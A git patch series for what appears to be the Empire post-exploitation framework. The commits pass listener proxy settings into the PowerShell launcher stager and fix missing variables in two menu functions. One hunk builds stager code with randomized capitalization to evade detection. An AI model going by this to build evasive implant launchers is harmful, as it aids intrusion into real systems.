From 8092bcef6632827e1108f4aab326564e3d84724d Mon Sep 17 00:00:00 2001 From: xorrior Date: Sat, 6 Jan 2018 16:49:10 -0500 Subject: [PATCH 1/5] Patch for #907 Conflicts: lib/common/empire.py --- lib/common/empire.py | 2 ++ lib/listeners/http.py | 4 +++- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/common/empire.py b/lib/common/empire.py index 3a49fbb..d62e0d0 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -3010,6 +3010,8 @@ class ListenersMenu(SubMenu): stager.options['Listener']['Value'] = listenerName stager.options['Language']['Value'] = language stager.options['Base64']['Value'] = "True" + stager.options['Proxy']['Value'] = listenerOptions['options']['Proxy']['Value'] + stager.options['ProxyCreds']['Value'] = listenerOptions['options']['ProxyCreds']['Value'] if self.mainMenu.obfuscate: stager.options['Obfuscate']['Value'] = "True" else: diff --git a/lib/listeners/http.py b/lib/listeners/http.py index 720b7d0..ac43b29 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -329,7 +329,9 @@ class Listener: stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;") else: # TODO: implement form for other proxy - stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('"+ proxy.lower() +"');") + stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('") + stager += proxy.lower() + stager += helpers.randomize_capitalization("');") stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;") if proxyCreds.lower() != 'none': if proxyCreds.lower() == "default": From 969de193f05f2c88eef56b9efbb004cdd3830f58 Mon Sep 17 00:00:00 2001 From: xorrior Date: Sun, 7 Jan 2018 04:18:09 -0500 Subject: [PATCH 2/5] Added missing listenerOptions var, for #907 --- lib/common/empire.py | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/common/empire.py b/lib/common/empire.py index d62e0d0..758d838 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -3006,6 +3006,7 @@ class ListenersMenu(SubMenu): if listenerName: try: # set the listener value for the launcher + listenerOptions = self.mainMenu.listeners.activeListeners[listenerName] stager = self.mainMenu.stagers.stagers['multi/launcher'] stager.options['Listener']['Value'] = listenerName stager.options['Language']['Value'] = language From 88825c1c13ad69b628618fb8fcbe90f964282dcb Mon Sep 17 00:00:00 2001 From: xorrior Date: Sun, 7 Jan 2018 04:22:01 -0500 Subject: [PATCH 3/5] Added missing listenerOptions var for 2nd function, for #907 --- lib/common/empire.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/common/empire.py b/lib/common/empire.py index 758d838..be75d0f 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -3119,10 +3119,13 @@ class ListenerMenu(SubMenu): try: # set the listener value for the launcher + listenerOptions = self.mainMenu.listeners.activeListeners[listenerName] stager = self.mainMenu.stagers.stagers['multi/launcher'] - stager.options['Listener']['Value'] = self.listenerName - stager.options['Language']['Value'] = parts[0] + stager.options['Listener']['Value'] = listenerName + stager.options['Language']['Value'] = language stager.options['Base64']['Value'] = "True" + stager.options['Proxy']['Value'] = listenerOptions['options']['Proxy']['Value'] + stager.options['ProxyCreds']['Value'] = listenerOptions['options']['ProxyCreds']['Value'] print stager.generate() except Exception as e: print helpers.color("[!] Error generating launcher: %s" % (e)) From a144bf31f14e7a2bd11803e3b0777b9e8eb5ca66 Mon Sep 17 00:00:00 2001 From: xorrior Date: Sun, 7 Jan 2018 14:31:15 -0500 Subject: [PATCH 4/5] Added missing listenerName var, #907 --- lib/common/empire.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/common/empire.py b/lib/common/empire.py index be75d0f..7654300 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -3119,7 +3119,7 @@ class ListenerMenu(SubMenu): try: # set the listener value for the launcher - listenerOptions = self.mainMenu.listeners.activeListeners[listenerName] + listenerOptions = self.mainMenu.listeners.activeListeners[self.listenerName] stager = self.mainMenu.stagers.stagers['multi/launcher'] stager.options['Listener']['Value'] = listenerName stager.options['Language']['Value'] = language From 058be55394cf7636ecd8562007ea594267c0965b Mon Sep 17 00:00:00 2001 From: xorrior Date: Sun, 7 Jan 2018 14:43:03 -0500 Subject: [PATCH 5/5] Last. commit. for #907 --- lib/common/empire.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/common/empire.py b/lib/common/empire.py index 7654300..c5fc36c 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -3121,8 +3121,8 @@ class ListenerMenu(SubMenu): # set the listener value for the launcher listenerOptions = self.mainMenu.listeners.activeListeners[self.listenerName] stager = self.mainMenu.stagers.stagers['multi/launcher'] - stager.options['Listener']['Value'] = listenerName - stager.options['Language']['Value'] = language + stager.options['Listener']['Value'] = self.listenerName + stager.options['Language']['Value'] = parts[0] stager.options['Base64']['Value'] = "True" stager.options['Proxy']['Value'] = listenerOptions['options']['Proxy']['Value'] stager.options['ProxyCreds']['Value'] = listenerOptions['options']['ProxyCreds']['Value']